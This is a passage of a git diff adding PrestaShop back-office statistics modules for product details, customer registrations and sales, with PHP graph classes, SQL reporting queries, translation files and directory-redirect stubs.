        '; + return $this->html; + } + + public function setOption($option, $layers = 1) + { + $options = explode('-', $option); + if (count($options) === 2) + list($this->_option, $this->_id_product) = $options; + else + $this->_option = $option; + $dateBetween = $this->getDate(); + switch ($this->_option) + { + case 1: + $this->_titles['main'][0] = $this->l('Popularity'); + $this->_titles['main'][1] = $this->l('Sales'); + $this->_titles['main'][2] = $this->l('Visits (x100)'); + $this->_query[0] = 'SELECT o.`date_add`, SUM(od.`product_quantity`) AS total + FROM `'._DB_PREFIX_.'order_detail` od + LEFT JOIN `'._DB_PREFIX_.'orders` o ON o.`id_order` = od.`id_order` + WHERE od.`product_id` = '.(int)$this->_id_product.' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.valid = 1 + AND o.`date_add` BETWEEN '.$dateBetween.' + GROUP BY o.`date_add`'; + + $this->_query[1] = 'SELECT dr.`time_start` AS date_add, (SUM(pv.`counter`) / 100) AS total + FROM `'._DB_PREFIX_.'page_viewed` pv + LEFT JOIN `'._DB_PREFIX_.'date_range` dr ON pv.`id_date_range` = dr.`id_date_range` + LEFT JOIN `'._DB_PREFIX_.'page` p ON pv.`id_page` = p.`id_page` + LEFT JOIN `'._DB_PREFIX_.'page_type` pt ON pt.`id_page_type` = p.`id_page_type` + WHERE pt.`name` = \'product\' + '.Shop::addSqlRestriction(false, 'pv').' + AND p.`id_object` = '.(int)$this->_id_product.' + AND dr.`time_start` BETWEEN '.$dateBetween.' + AND dr.`time_end` BETWEEN '.$dateBetween.' + GROUP BY dr.`time_start`'; + break; + + case 3: + $this->_query = 'SELECT product_attribute_id, SUM(od.`product_quantity`) AS total + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON o.`id_order` = od.`id_order` + WHERE od.`product_id` = '.(int)$this->_id_product.' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.valid = 1 + AND o.`date_add` BETWEEN '.$dateBetween.' + GROUP BY od.`product_attribute_id`'; + $this->_titles['main'] = $this->l('Attributes'); + break; + + case 42: + $this->_titles['main'][1] = $this->l('Ref.'); + $this->_titles['main'][2] = $this->l('Name'); + $this->_titles['main'][3] = $this->l('Stock'); + break; + } + } + + protected function getData($layers) + { + if ($this->_option == 42) + { + $products = $this->getProducts($this->context->language->id); + foreach ($products as $product) + { + $this->_values[0][] = $product['reference']; + $this->_values[1][] = $product['name']; + $this->_values[2][] = $product['quantity']; + $this->_legend[] = $product['id_product']; + } + } + else if ($this->_option != 3) + $this->setDateGraph($layers, true); + else + { + $product = new Product($this->_id_product, false, (int)$this->getLang()); + + $combArray = array(); + $assocNames = array(); + $combinations = $product->getAttributeCombinations((int)$this->getLang()); + foreach ($combinations as $k => $combination) + $combArray[$combination['id_product_attribute']][] = array('group' => $combination['group_name'], 'attr' => $combination['attribute_name']); + foreach ($combArray as $id_product_attribute => $product_attribute) + { + $list = ''; + foreach ($product_attribute as $attribute) + $list .= trim($attribute['group']).' - '.trim($attribute['attr']).', '; + $list = rtrim($list, ', '); + $assocNames[$id_product_attribute] = $list; + } + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query); + foreach ($result as $row) + { + $this->_values[] = $row['total']; + $this->_legend[] = @$assocNames[$row['product_attribute_id']]; + } + } + } + + protected function setAllTimeValues($layers) + { + for ($i = 0; $i < $layers; $i++) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query[$i]); + foreach ($result as $row) + $this->_values[$i][(int)(substr($row['date_add'], 0, 4))] += $row['total']; + } + } + + protected function setYearValues($layers) + { + for ($i = 0; $i < $layers; $i++) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query[$i]); + foreach ($result as $row) + $this->_values[$i][(int)(substr($row['date_add'], 5, 2))] += $row['total']; + } + } + + protected function setMonthValues($layers) + { + for ($i = 0; $i < $layers; $i++) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query[$i]); + foreach ($result as $row) + $this->_values[$i][(int)(substr($row['date_add'], 8, 2))] += $row['total']; + } + } + + protected function setDayValues($layers) + { + for ($i = 0; $i < $layers; $i++) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query[$i]); + foreach ($result as $row) + $this->_values[$i][(int)(substr($row['date_add'], 11, 2))] += $row['total']; + } + } +} diff --git a/modules/statsproduct/translations/en.php b/modules/statsproduct/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statsproduct/translations/fr.php b/modules/statsproduct/translations/fr.php new file mode 100755 index 0000000..e9b34e6 --- /dev/null +++ b/modules/statsproduct/translations/fr.php @@ -0,0 +1,40 @@ +statsproduct_78e454064a7d3a7755a011a3b79f31a7'] = 'Détail produit'; +$_MODULE['<{statsproduct}prestashop>statsproduct_285201dab507840d082d58dc13602b00'] = 'Propose des statistiques détaillées pour chaque produit'; +$_MODULE['<{statsproduct}prestashop>statsproduct_3ec365dd533ddb7ef3d1c111186ce872'] = 'Détails'; +$_MODULE['<{statsproduct}prestashop>statsproduct_981a6013008c8f4b75836b0f415b05b8'] = 'Total des achats'; +$_MODULE['<{statsproduct}prestashop>statsproduct_af7cba0f47dac2ad181cc0471979a746'] = 'CA (hors taxes) :'; +$_MODULE['<{statsproduct}prestashop>statsproduct_b262bbde88b3b8dca3b27d730aca69bf'] = 'Total des consultations'; +$_MODULE['<{statsproduct}prestashop>statsproduct_bebbab2c1ac732ccef4181f51ed52967'] = 'Taux de conversion'; +$_MODULE['<{statsproduct}prestashop>statsproduct_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsproduct}prestashop>statsproduct_c90b9dca2d3f5bb6e0d0bdceac8a631d'] = 'Répartition des ventes par attributs'; +$_MODULE['<{statsproduct}prestashop>statsproduct_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'CA'; +$_MODULE['<{statsproduct}prestashop>statsproduct_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{statsproduct}prestashop>statsproduct_a240fa27925a635b08dc28c9e4f9216d'] = 'Commande'; +$_MODULE['<{statsproduct}prestashop>statsproduct_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{statsproduct}prestashop>statsproduct_f2bbdf9f72c085adc4d0404e370f0f4c'] = 'Attribut'; +$_MODULE['<{statsproduct}prestashop>statsproduct_694e8d1f2ee056f98ee488bdc4982d73'] = 'Qté'; +$_MODULE['<{statsproduct}prestashop>statsproduct_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{statsproduct}prestashop>statsproduct_87017c9259838bb0918a2ab4f96016c0'] = 'Ventes croisées'; +$_MODULE['<{statsproduct}prestashop>statsproduct_df644ae155e79abf54175bd15d75f363'] = 'Article'; +$_MODULE['<{statsproduct}prestashop>statsproduct_2a0440eec72540c5b30d9199c01f348c'] = 'Quantité vendue'; +$_MODULE['<{statsproduct}prestashop>statsproduct_844c29394eea07066bb2efefc35784ec'] = 'Prix moyen'; +$_MODULE['<{statsproduct}prestashop>statsproduct_0173374ac20f5843d58b553d5b226ef6'] = 'Choisissez une catégorie'; +$_MODULE['<{statsproduct}prestashop>statsproduct_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Toutes'; +$_MODULE['<{statsproduct}prestashop>statsproduct_818f7defe18dbc97da82d054831df2ad'] = 'Cliquez sur un produit pour accéder à ses statistiques.'; +$_MODULE['<{statsproduct}prestashop>statsproduct_6ccf03bc05e4b749b74b5d577c7e7d3a'] = 'Produits disponibles'; +$_MODULE['<{statsproduct}prestashop>statsproduct_12d3c7a4296542c62474856ec452c045'] = 'Ref.'; +$_MODULE['<{statsproduct}prestashop>statsproduct_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsproduct}prestashop>statsproduct_7bd5825a187064017975513b95d7f7de'] = 'Quantité disponible à la vente'; +$_MODULE['<{statsproduct}prestashop>statsproduct_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsproduct}prestashop>statsproduct_af6de9b8b390e324cd90cc17779783ba'] = 'Comparaison du nombre d\'achat et du nombre de consultations'; +$_MODULE['<{statsproduct}prestashop>statsproduct_6e13e61b8535a66feb27d285f5c42855'] = 'Après avoir choisi une catégorie et sélectionné un produit disponible dans celle-ci, des graphiques apparaissent. Vous pouvez ensuite les analyser.'; +$_MODULE['<{statsproduct}prestashop>statsproduct_ff7008d8daed8cf92213ca8955a42d92'] = 'Si vous constatez qu\'un produit a du succès et qu\'il est beaucoup acheté mais reste très peu consulté, vous devriez le mettre davantage en évidence dans la vitrine de votre boutique.'; +$_MODULE['<{statsproduct}prestashop>statsproduct_e22269bb51f9f2394e148716babbafbb'] = 'Popularité'; +$_MODULE['<{statsproduct}prestashop>statsproduct_5e9613e58f3bdbc89b1fef07274c0877'] = 'Visites (x100)'; +$_MODULE['<{statsproduct}prestashop>statsproduct_287234a1ff35a314b5b6bc4e5828e745'] = 'Attributs'; +$_MODULE['<{statsproduct}prestashop>statsproduct_27ce7f8b5623b2e2df568d64cf051607'] = 'Stock'; diff --git a/modules/statsproduct/translations/index.php b/modules/statsproduct/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsproduct/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsregistrations/index.php b/modules/statsregistrations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsregistrations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsregistrations/logo.gif b/modules/statsregistrations/logo.gif new file mode 100755 index 0000000..8b58d27 Binary files /dev/null and b/modules/statsregistrations/logo.gif differ diff --git a/modules/statsregistrations/logo.png b/modules/statsregistrations/logo.png new file mode 100755 index 0000000..63edef6 Binary files /dev/null and b/modules/statsregistrations/logo.png differ diff --git a/modules/statsregistrations/statsregistrations.php b/modules/statsregistrations/statsregistrations.php new file mode 100755 index 0000000..bcdbd7f --- /dev/null +++ b/modules/statsregistrations/statsregistrations.php @@ -0,0 +1,185 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsRegistrations extends ModuleGraph +{ + private $_html = ''; + private $_query = ''; + + function __construct() + { + $this->name = 'statsregistrations'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Customer accounts'); + $this->description = $this->l('Display registration progress.'); + } + + /** + * Called during module installation + */ + public function install() + { + return (parent::install() AND $this->registerHook('AdminStatsModules')); + } + + /** + * @return int Get total of registration in date range + */ + public function getTotalRegistrations() + { + $sql = 'SELECT COUNT(`id_customer`) as total + FROM `'._DB_PREFIX_.'customer` + WHERE `date_add` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return isset($result['total']) ? $result['total'] : 0; + } + + /** + * @return int Get total of blocked visitors during registration process + */ + public function getBlockedVisitors() + { + $sql = 'SELECT COUNT(DISTINCT c.`id_guest`) as blocked + FROM `'._DB_PREFIX_.'page_type` pt + LEFT JOIN `'._DB_PREFIX_.'page` p ON p.id_page_type = pt.id_page_type + LEFT JOIN `'._DB_PREFIX_.'connections_page` cp ON p.id_page = cp.id_page + LEFT JOIN `'._DB_PREFIX_.'connections` c ON c.id_connections = cp.id_connections + LEFT JOIN `'._DB_PREFIX_.'guest` g ON c.id_guest = g.id_guest + WHERE pt.name = "authentication" + '.Shop::addSqlRestriction(false, 'c').' + AND (g.id_customer IS NULL OR g.id_customer = 0) + AND c.`date_add` BETWEEN '.ModuleGraph::getDateBetween(); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return $result['blocked']; + } + + public function getFirstBuyers() + { + $sql = 'SELECT COUNT(DISTINCT o.`id_customer`) as buyers + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'guest` g ON o.id_customer = g.id_customer + LEFT JOIN `'._DB_PREFIX_.'connections` c ON c.id_guest = g.id_guest + WHERE o.`date_add` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.valid = 1 + AND ABS(TIMEDIFF(o.date_add, c.date_add)+0) < 120000'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return $result['buyers']; + } + + public function hookAdminStatsModules($params) + { + $totalRegistrations = $this->getTotalRegistrations(); + $totalBlocked = $this->getBlockedVisitors(); + $totalBuyers = $this->getFirstBuyers(); + if (Tools::getValue('export')) + $this->csvExport(array('layers' => 0, 'type' => 'line')); + $this->_html = ' +

        '.$this->displayName.'

        +
          +
        • + '.$this->l('Number of visitors who stopped at the registering step:').' '.(int)($totalBlocked).($totalRegistrations ? ' ('.number_format(100*$totalBlocked/($totalRegistrations+$totalBlocked), 2).'%)' : '').'
        • + '.$this->l('Number of visitors who placed an order directly after registration:').' '.(int)($totalBuyers).($totalRegistrations ? ' ('.number_format(100*$totalBuyers/($totalRegistrations), 2).'%)' : '').' +
        • '.$this->l('Total customer accounts:').' '.$totalRegistrations.'
        • +
        +
        '.$this->engine(array('type' => 'line')).'
        +

        '.$this->l('CSV Export').'

        +

        +

        '.$this->l('Guide').' +

        '.$this->l('Number of customer accounts created').'

        +

        '.$this->l('The total number of accounts created is not in itself important information. However, it is beneficial to analyze the number created over time. This will indicate whether or not things are on the right track. You feel me?').'

        +

        '.$this->l('How to act on the registrations\' evolution?').'

        +

        + '.$this->l('If you let your shop run without changing anything, the number of customer registrations should stay stable or slightly decline.').' + '.$this->l('A significant increase or decrease in customer registration shows that there has probably been a change to your shop.With that in mind, we suggest that you identify the cause, correct the issue and get back in the business of making money!').'
        + '.$this->l('Here is a summary of what may affect the creation of customer accounts:').' +

          +
        • '.$this->l('An advertising campaign can attract an increased number of visitors to your online store. This will likely be followed by an increase in customer accounts, and profit margins, which will depend on customer "quality." Well-targeted advertising is typically more effective than large-scale advertising... and it\'s cheaper too!').'
        • +
        • '.$this->l('Specials, sales, promotions and/or contests typically demand a shoppers\' attentions. Offering such things will not only keep your business lively, it will also increase traffic, build customer loyalty and genuine change your current e-commerce philosophy.').'
        • +
        • '.$this->l('Design and user-friendliness are more important than ever in the world of online sales. An ill-chosen or hard-to-follow graphical theme can keep shoppers at bay. This means that you should aspire to find the right balance between beauty and functionality for your online store.').'
        • +
        +


        +
        '; + return $this->_html; + } + + protected function getData($layers) + { + $this->_query = ' + SELECT `date_add` + FROM `'._DB_PREFIX_.'customer` + WHERE 1 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `date_add` BETWEEN'; + $this->_titles['main'] = $this->l('Number of customer accounts created'); + $this->setDateGraph($layers, true); + } + + protected function setAllTimeValues($layers) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate()); + foreach ($result AS $row) + $this->_values[(int)(substr($row['date_add'], 0, 4))]++; + } + + protected function setYearValues($layers) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate()); + foreach ($result AS $row) + { + $mounth = (int)substr($row['date_add'], 5, 2); + if (!isset($this->_values[$mounth])) + $this->_values[$mounth] = 0; + $this->_values[$mounth]++; + } + } + + protected function setMonthValues($layers) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate()); + foreach ($result AS $row) + $this->_values[(int)(substr($row['date_add'], 8, 2))]++; + } + + protected function setDayValues($layers) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate()); + foreach ($result AS $row) + $this->_values[(int)(substr($row['date_add'], 11, 2))]++; + } +} + + diff --git a/modules/statsregistrations/translations/en.php b/modules/statsregistrations/translations/en.php new file mode 100755 index 0000000..76c1f9d --- /dev/null +++ b/modules/statsregistrations/translations/en.php @@ -0,0 +1,5 @@ +statsregistrations_57a6f41a27c9baa5b402d30e97d4c1e8'] = 'How to act on the registrations\' evolution?'; diff --git a/modules/statsregistrations/translations/fr.php b/modules/statsregistrations/translations/fr.php new file mode 100755 index 0000000..777b284 --- /dev/null +++ b/modules/statsregistrations/translations/fr.php @@ -0,0 +1,21 @@ +statsregistrations_8b15fc6468c919d299f9a601b61b95fc'] = 'Comptes clients'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_5eaafc713c2425b16202065927ea0220'] = 'Affiche l\'évolution des créations de compte'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_247b3bdef50a59d5a83f23c4f1c8fa47'] = 'Visiteurs bloqués à la phase d\'inscription :'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_479c1246d97709e234574e1d2921994d'] = 'Visiteurs ayant passé une commande dès leur inscription :'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_a751e9cc4ed4c7585ecc0d97781cb48a'] = 'Total de comptes créés :'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_fba0e64541196123bbf8e3737bf9287b'] = 'Nombre de comptes créés'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_76dcf557776c2b40d47b72ebcd9ac6b7'] = 'Le nombre d\'inscrits en lui-même n\'est pas important. Il vous permet surtout d\'apprécier son évolution sur une période plus ou moins longue.'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_57a6f41a27c9baa5b402d30e97d4c1e8'] = 'Comment agir sur l\'évolution des inscriptions ?'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_2d8c349a97131b417bf7da166afb17bd'] = 'Si vous laissez votre boutique tourner sans rien changer, le nombre d\'inscriptions devrait être stable ou baisser légèrement.'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_ac379194b8c2ea6c2e26be3672fdf7f7'] = 'Une forte croissance ou une forte baisse montre donc probablement un changement sur votre boutique. C\'est pourquoi vous devez l\'identifier de manière à pouvoir revenir sur vos pas au cas où ce changement fait décroître le nombre d\'inscriptions, ou au contraire continuer dans cette voie si celui-ci se trouve avantageux.'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_ded9c8756dc14fd26e3150c4718cd9d0'] = 'Différents modificateurs sont possibles :'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_3493de9f70480000ac99a1d5fc021dcb'] = 'Une campagne de publicité peut attirer un grand nombre de visiteurs. De plus, une campagne de pub bien ciblée peut s\'avérer plus efficace qu\'une publicité à grande échelle.'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_c53d1447202b4d629cf3b96dc4b1056d'] = 'Les promotions, soldes ou jeux-concours attirent fortement l\'attention et la curiosité des visiteurs ; permettant non seulement d\'animer votre boutique, mais aussi d\'en augmenter son trafic. De cette manière, vous pouvez pousser un acheteur \"spontané\" à se lancer.'; +$_MODULE['<{statsregistrations}prestashop>statsregistrations_8cb5605d77d1d2f9eab6191c0e027747'] = 'Esthétique : un changement de thème peut rebuter les visiteurs. L\'orthographe et la clarté sont également à soigner.'; diff --git a/modules/statsregistrations/translations/index.php b/modules/statsregistrations/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsregistrations/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statssales/index.php b/modules/statssales/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statssales/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statssales/logo.gif b/modules/statssales/logo.gif new file mode 100755 index 0000000..4364683 Binary files /dev/null and b/modules/statssales/logo.gif differ diff --git a/modules/statssales/logo.png b/modules/statssales/logo.png new file mode 100755 index 0000000..36e4e5d Binary files /dev/null and b/modules/statssales/logo.png differ diff --git a/modules/statssales/statssales.php b/modules/statssales/statssales.php new file mode 100755 index 0000000..bcb0383 --- /dev/null +++ b/modules/statssales/statssales.php @@ -0,0 +1,257 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsSales extends ModuleGraph +{ + private $_html = ''; + private $_query = ''; + private $_query2 = ''; + private $_option = ''; + private $id_country = ''; + + function __construct() + { + $this->name = 'statssales'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Sales and orders'); + $this->description = $this->l('Display sales evolution and orders by status.'); + } + + public function install() + { + return (parent::install() AND $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $totals = $this->getTotals(); + + $currency = new Currency((int)Configuration::get('PS_CURRENCY_DEFAULT')); + if (($id_export = (int)Tools::getValue('export')) == 1) + $this->csvExport(array('layers' => 2, 'type' => 'line', 'option' => '1-'.(int)Tools::getValue('id_country'))); + elseif ($id_export == 2) + $this->csvExport(array('layers' => 0, 'type' => 'line', 'option' => '2-'.(int)Tools::getValue('id_country'))); + elseif ($id_export == 3) + $this->csvExport(array('type' => 'pie', 'option' => '3-'.(int)Tools::getValue('id_country'))); + + $this->_html = ' +

        '.$this->displayName.'

        +
        + + +
        +

        + '.$this->l('The following graphs represent the evolution of your e-store\'s orders and sales turnover for a selected period. This tool is one that you should use often as it allows you to quickly monitor your store\'s viability. This feature also allows you to monitor multiple time periods, and only valid orders are graphically represented.').' +

        +

        '.$this->l('Orders placed:').' '.(int)($totals['orderCount']).'

        +

        '.$this->l('Products bought:').' '.(int)($totals['products']).'

        +
        '.$this->engine(array('type' => 'line', 'option' => '1-'.(int)Tools::getValue('id_country'), 'layers' => 2)).'
        +

        '.$this->l('CSV Export').'

        +

        '.$this->l('Sales:').' '.Tools::displayPrice($totals['orderSum'], $currency).'

        +
        '.$this->engine(array('type' => 'line', 'option' => '2-'.(int)Tools::getValue('id_country'))).'
        +

        '.$this->l('CSV Export').'

        +

        + '.$this->l('You can view order distribution below.').' +


        + '.($totals['orderCount'] ? $this->engine(array('type' => 'pie', 'option' => '3-'.(int)Tools::getValue('id_country'))) : $this->l('No orders for this period.')).' +

        '.$this->l('CSV Export').'

        +
        +
        +

        '.$this->l('Guide').'

        +

        '.$this->l('Various order statuses').'

        +

        + '.$this->l('In your Back Office, you can modify the following order statuses: Awaiting Check Payment, Payment Accepted, Preparation in Progress, Shipping, Delivered, Cancelled, Refund, Payment Error, Out of Stock, and Awaiting Bank Wire Payment.').'
        + '.$this->l('These order statuses cannot be removed from the Back Office, however you have the option to add more.').' +

        +
        '; + return $this->_html; + } + + private function getTotals() + { + $sql = 'SELECT COUNT(o.`id_order`) as orderCount, SUM(o.`total_paid_real` / o.conversion_rate) as orderSum + FROM `'._DB_PREFIX_.'orders` o + '.((int)Tools::getValue('id_country') ? 'LEFT JOIN `'._DB_PREFIX_.'address` a ON o.id_address_delivery = a.id_address' : '').' + WHERE o.valid = 1 + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + '.((int)Tools::getValue('id_country') ? 'AND a.id_country = '.(int)Tools::getValue('id_country') : '').' + AND o.`invoice_date` BETWEEN '.ModuleGraph::getDateBetween(); + $result1 = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + + + + $sql = 'SELECT SUM(od.product_quantity) as products + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON od.`id_order` = o.`id_order` + '.((int)Tools::getValue('id_country') ? 'LEFT JOIN `'._DB_PREFIX_.'address` a ON o.id_address_delivery = a.id_address' : '').' + WHERE o.valid = 1 + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + '.((int)Tools::getValue('id_country') ? 'AND a.id_country = '.(int)Tools::getValue('id_country') : '').' + AND o.`invoice_date` BETWEEN '.ModuleGraph::getDateBetween(); + $result2 = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + + return array_merge($result1, $result2); + } + + public function setOption($options, $layers = 1) + { + list($this->_option, $this->id_country) = explode('-', $options); + switch ($this->_option) + { + case 1: + $this->_titles['main'][0] = $this->l('Products and orders'); + $this->_titles['main'][1] = $this->l('orders'); + $this->_titles['main'][2] = $this->l('Products:'); + break; + case 2: + $currency = new Currency((int)Configuration::get('PS_CURRENCY_DEFAULT')); + $this->_titles['main'] = $this->l('Sales in').' '.$currency->iso_code; + break; + case 3: + $this->_titles['main'] = $this->l('Percentage of orders by status.'); + break; + } + } + + protected function getData($layers) + { + if ($this->_option == 3) + return $this->getStatesData(); + + $this->_query = ' + SELECT o.`invoice_date`, o.`total_paid_real` / o.conversion_rate AS total_paid_real, SUM(od.product_quantity) as product_quantity + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON od.`id_order` = o.`id_order` + '.((int)($this->id_country) ? 'LEFT JOIN `'._DB_PREFIX_.'address` a ON o.id_address_delivery = a.id_address' : '').' + WHERE o.valid = 1 + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + '.((int)($this->id_country) ? 'AND a.id_country = '.(int)$this->id_country : '').' + AND o.`invoice_date` BETWEEN '; + $this->_query2 = ' GROUP BY o.id_order'; + $this->setDateGraph($layers, true); + } + + protected function setAllTimeValues($layers) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate().$this->_query2); + foreach ($result AS $row) + if ($this->_option == 1) + { + $this->_values[0][(int)(substr($row['invoice_date'], 0, 4))] += 1; + $this->_values[1][(int)(substr($row['invoice_date'], 0, 4))] += $row['product_quantity']; + } + else + $this->_values[(int)(substr($row['invoice_date'], 0, 4))] += $row['total_paid_real']; + } + + protected function setYearValues($layers) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate().$this->_query2); + foreach ($result AS $row) { + $mounth = (int)substr($row['invoice_date'], 5, 2); + if ($this->_option == 1) + { + if (!isset($this->_values[0][$mounth])) + $this->_values[0][$mounth] = 0; + if (!isset($this->_values[1][$mounth])) + $this->_values[1][$mounth] = 0; + $this->_values[0][$mounth] += 1; + $this->_values[1][$mounth] += $row['product_quantity']; + } + else + { + if (!isset($this->_values[$mounth])) + $this->_values[$mounth] = 0; + $this->_values[$mounth] += $row['total_paid_real']; + } + } + } + + protected function setMonthValues($layers) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate().$this->_query2); + foreach ($result AS $row) + if ($this->_option == 1) + { + $this->_values[0][(int)(substr($row['invoice_date'], 8, 2))] += 1; + $this->_values[1][(int)(substr($row['invoice_date'], 8, 2))] += $row['product_quantity']; + } + else + $this->_values[(int)(substr($row['invoice_date'], 8, 2))] += $row['total_paid_real']; + } + + protected function setDayValues($layers) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate().$this->_query2); + foreach ($result AS $row) + if ($this->_option == 1) + { + $this->_values[0][(int)(substr($row['invoice_date'], 11, 2))] += 1; + $this->_values[1][(int)(substr($row['invoice_date'], 11, 2))] += $row['product_quantity']; + } + else + $this->_values[(int)(substr($row['invoice_date'], 11, 2))] += $row['total_paid_real']; + } + + private function getStatesData() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT osl.`name`, 